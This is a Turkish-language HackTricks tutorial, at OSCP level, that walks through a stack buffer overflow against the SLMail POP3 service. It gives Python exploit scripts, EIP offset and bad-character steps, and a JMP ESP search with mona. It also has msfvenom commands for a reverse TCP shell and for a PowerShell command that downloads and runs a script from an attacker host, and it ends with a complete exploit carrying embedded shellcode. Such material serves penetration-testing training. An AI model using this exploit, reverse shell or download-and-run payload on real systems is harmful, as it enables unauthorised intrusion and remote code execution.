Windows Exploiting (Temel Rehber - OSCP düzeyi)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Tip
OSCP sonrası kernel primitives mi arıyorsunuz? Deterministik SYSTEM shell’ler için modern registry hive bozulma zincirleri burada ele alınıyor:
Windows Registry Hive Exploitation
SLMail servisini kurmaya başlama
SLMail servisini yeniden başlat
Her seferinde SLMail servisini yeniden başlatmanız gerektiğinde bunu Windows konsolunu kullanarak yapabilirsiniz:
net start slmail
.png)
Çok temel python exploit şablonu
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Immunity Debugger Yazı Tipini Değiştirin
Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
İşlemi Immunity Debugger’a ekleyin:
File –> Attach
.png)
Ve START düğmesine basın
Exploit’i gönderin ve EIP’nin etkilenip etkilenmediğini kontrol edin:
.png)
Servisi her kırdığınızda, bu sayfanın başında belirtildiği gibi yeniden başlatmalısınız.
EIP’yi değiştirmek için bir pattern oluşturun
Pattern, daha önce servisi bozmak için kullandığınız buffer kadar büyük olmalıdır.
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Exploit’in buffer’ını değiştirin, pattern’i ayarlayın ve exploit’i launch edin.
Yeni bir crash ortaya çıkmalı, ancak farklı bir EIP adresiyle:
.png)
Adresin pattern’inizde olup olmadığını kontrol edin:
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Görünüşe göre buffer’ın offset 2606’da EIP’yi değiştirebiliyoruz.
Exploit’in buffer’ını değiştirerek bunu kontrol et:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Bu buffer ile EIP çöktüğünde 42424242 (“BBBB”)’yi göstermelidir.
.png)
.png)
Görünüşe göre çalışıyor.
Stack içinde Shellcode alanını kontrol et
600B herhangi bir güçlü shellcode için yeterli olmalıdır.
Bufer’i değiştirelim:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
yeni exploit’i başlatın ve EBP’yi ve kullanışlı shellcode’un uzunluğunu kontrol edin
.png)
.png)
Zafiyet tetiklendiğinde EBP’nin shellcode’a işaret ettiğini ve burada bir shellcode yerleştirmek için çok alanımız olduğunu görebilirsiniz.
Bu durumda from 0x0209A128 to 0x0209A2D6 = 430B. Yeterli.
Kötü karakterleri kontrol et
Buffer’ı tekrar değiştirin:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
The badchars 0x01’de başlar çünkü 0x00 neredeyse her zaman geçersizdir.
Bu yeni buffer ile exploit’i tekrar tekrar çalıştırın ve işe yaramaz olduğu belirlenen chars’leri silin:
For example:
Bu durumda char 0x0A’yı kullanmamalısınız (char 0x09’dan itibaren hafızaya hiçbir şey kaydedilmiyor).
.png)
Bu durumda char 0x0D’den kaçınılıyor:
.png)
Bir return address olarak JMP ESP bulun
Kullanarak:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Bellek haritalarını listeleyeceksin. Aşağıdaki özelliklere sahip bir DLL ara:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
.png)
Şimdi, bu bellek içinde bazı JMP ESP bytes bulmalısın; bunu yapmak için şu komutu çalıştır:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Eğer bir adres bulunursa, içinde herhangi bir badchar olmayan bir adres seçin:
.png)
Bu durumda, örneğin: _0x5f4a358f_
Shellcode oluşturun
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode’a ulaşıldığını görebiliyorsanız), aynı parametreler için farklı shellcode’lar oluşturmayı deneyin (msfvenom ile farklı shellcode’lar oluşturun).
Shellcode’un başına bazı NOPS ekleyin ve bunu ve return address’i kullanarak JMP ESP yapın, ardından exploit’i tamamlayın:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Warning
Bazı shellcodes kendilerini üzerine yazarlar, bu yüzden shellcode’dan önce her zaman biraz NOP eklemek önemlidir
Shellcode’u geliştirme
Bu parametreleri ekleyin:
EXITFUNC=thread -e x86/shikata_ga_nai
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

